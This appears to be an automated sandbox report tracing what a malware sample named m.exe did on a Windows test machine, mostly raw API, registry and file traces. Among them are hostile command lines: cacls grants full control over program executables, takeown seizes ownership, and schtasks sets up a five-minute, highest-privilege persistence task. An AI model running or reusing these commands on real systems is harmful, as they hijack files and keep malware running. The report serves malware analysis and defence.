Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:56

OS Process Information

»

Information	Value
PID	0x13c4
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13AC 0x 1354

Threads

Thread 0x13ac

262

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 62	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1330, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 47	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x490, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 17	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "wabmig.exe"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "wabmig.exe"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn

Process #146: cacls.exe

0

»

Information	Value
ID	#146
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\rempl\does.exe" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:30, Reason: Child Process
Unmonitor	End Time: 00:03:40, Reason: Self Terminated
Monitor Duration	00:00:10
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1398
Parent PID	0xe60 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 60 0x 10E8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #148: schtasks.exe

942

0

»

Information	Value
ID	#148
File Name	c:\windows\syswow64\schtasks.exe
Command Line	schtasks /Create /tn DSHCA /tr "C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat" /sc minute /mo 5 /RL HIGHEST /F
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:31, Reason: Child Process
Unmonitor	End Time: 00:03:51, Reason: Self Terminated
Monitor Duration	00:00:19

OS Process Information

»

Information	Value
PID	0x121c
Parent PID	0x1390 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1240 0x 11C0

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
schtasks.exe	0x01300000	0x01330FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1240

942

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\schtasks.exe, base_address = 0x1300000	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\schtasks.exe, file_name_orig = C:\WINDOWS\SysWOW64\schtasks.exe, size = 260	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\schtasks.exe, file_name_orig = C:\WINDOWS\SysWOW64\schtasks.exe, size = 260	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:42:02 (Local Time)	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:42:02 (Local Time)	1	Fn
COM	Create	interface = 2FABA4C7-4DA9-4013-9697-20CC3FD40F85, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:42:06 (Local Time)	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 67	1	Fn Data

Process #149: cacls.exe

0

»

Information	Value
ID	#149
File Name	c:\windows\syswow64\cacls.exe
Command Line	cacls "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui" /E /G FD1HVy:F /C
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:35, Reason: Child Process
Unmonitor	End Time: 00:03:41, Reason: Self Terminated
Monitor Duration	00:00:06
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x11b0
Parent PID	0xd64 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1198 0x CE8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cacls.exe	0x00AC0000	0x00AC9FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Process #150: cmd.exe

230

0

»

Information	Value
ID	#150
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\UNP\convertible-suicide-construction.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:35, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:50

OS Process Information

»

Information	Value
PID	0x1334
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1308 0x 13F0

Threads

Thread 0x1308

230

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
